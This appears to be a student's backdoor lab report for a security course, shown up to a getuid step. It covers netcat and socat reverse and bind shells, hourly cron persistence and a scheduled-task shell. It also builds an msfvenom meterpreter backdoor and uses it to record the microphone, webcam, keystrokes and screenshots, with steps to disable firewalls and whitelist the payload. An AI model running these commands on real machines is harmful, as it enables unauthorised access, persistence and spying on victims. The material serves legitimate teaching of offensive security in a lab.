Exp2后门原理与实践

一、实验内容

  1、使用netcat获取主机操作Shell,cron启动

  2、使用socat获取主机操作Shell, 任务计划启动

  3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  5、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell加分内容一并写入本实验报告。

二、实验步骤

  实验前的准备:

  1、关闭防火墙

    关闭Windows防火墙:控制面板-系统和安全-Windows Defender 防火墙-自定义设置

    关闭kali防火墙:输入指令 apt-get install ufw 安装ufw,再输入指令 ufw disable 关闭防火墙

  2、查询IP地址

    WindowsIP地址查询:win+R打开运行,输入cmd打开Windows终端,输入 ipconfig 查询到IP地址192.168.1.100

    kali查询IP地址:打开终端输入 ifconfig 查询到IP地址192.168.227.128

 

 

 

 

 

 

 

 

 

  Windows下载ncat和socat:https://gitee.com/wildlinux/NetSec/attach_files

 

  (一)使用netcat获取主机操作Shell,cron启动

  1、kali获得windows shell

    kali终端输入指令 nc -l -p 5127 打开监听端口

    windows终端进入ncat目录输入指令 ncat.exe -e cmd.exe 192.168.227.128 5127 反弹连接kali(IP地址是监听主机地址)

    可知kali获得windows shell 并运行dir指令查看结果

 

 

    

 

  2、windows获得kali shell

    windows终端进入ncat目录输入指令 ncat.exe -l -p 5127 打开监听窗口

    kali输入指令 nc 192.168.1.100 5127 -e /bin/sh 反弹连接windows(同上)

    

  3、nc传输数据(这里做的是kali向windows发送数据,反过来同理)

    windows终端进入ncat目录输入指令 ncat.exe -l 5127 > 5127.out (windows通过5127端口将接收的数据放到5127.out文件中)

    kali输入指令 nc 192.168.1.100 5127 < 5127.in (kali将5127.in文件中的内容发送到windows)

    

 

 

     

 

     

 

     

  4、cron启动(kali定时自动反弹连接windows)

    windows端先打开监听端口: ncat.exe -l -p 5127 

    kali终端输入指令 crontab -e 打开文件

    在文件最后一行添加代码 04 * * * * /bin/netcat 192.168.1.100 5127 -e /bin/sh ctrl+o回车保存,ctrl+x退出(意思是每小时04分时自动运行后面的代码后面四个*从后往前分别代表年、月、日、时)

    可以看到在04分时windows获得kali shell

    

 

 

     

  (二)使用socat获取主机操作Shell, 任务计划启动

  windows端设置:

    控制面板-系统和安全-管理工具-任务计划

    右键任务计划程序库,选择创建任务

    常规栏设置名称为20175127socat

    触发器栏新建,开始任务选择启动时,确定

    操作栏新建,操作为启动程序,程序或脚本浏览到socat.exe,添加参数 tcp-listen:5127 exec:cmd.exe,pty,stderr ,确定

    

 

 

     

 

  kali端操作:

    kali终端输入指令 socat - tcp:192.168.1.100:5127 

    可发现kali获得windows shell

    

 

 

 

 

  (三)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  1、kali端生成可执行文件

    klai输入指令 gem install bundler:1.17.3 安装1.17.3版本的bundler

    生成后门程序: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.227.128 LPORT=5127 -f exe > 20175127backdoor.exe

  2、利用ncat将后门程序发送到windows

    windows终端输入指令 ncat.exe -lv 5127 > 20175127backdoor.exe 打开监听端口准备接收文件

    kali端输入指令 nc 192.168.1.100 5127 < 20175127backdoor.exe 发送程序

    

    

    windows端接收到文件后会被电脑管家杀掉,此时要进入管家将该文件加入到信任区,或者实验前就停止管家运行

  3、kali端打开监听等待windows端运行后门程序

    kali输入指令 msfconsole 打开msfconsole控制台

    控制台输入以下指令进行设置:

    use exploit/multi/handler         //监听设置payload set payloa
    set windows/meterpreter/reverse_tcp    //使用与生成后门程序一样的payload
    set LHOST 192.168.227.128       //Linux端的IP地址 
    set LPORT 5127    //与之前输入的端口号一致
    exploit    //开始监听

 

    windows端运行后门程序会发现kali端获得windows shell

    

     

  (四)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (紧接着上一个实验)

  1、录音

    控制台输入指令 record_mic //record_mic -d 10 录制10秒 控制windows录音并在kali上播放

    

 

  2、拍照

    控制台输入指令 webcam_snap 控制windows相机拍照并在kali上查看照片

    

 

  3、记录击键

    控制台输入指令keyscan_start记录windows端击键记录并输入指令keyscan_dump读取记录

    

  4、截屏

    控制台输入指令 screenshot 控制windows端截屏并在kali上查看

    

  5、查看用户

    控制台输入指令 getuid 查看windows用户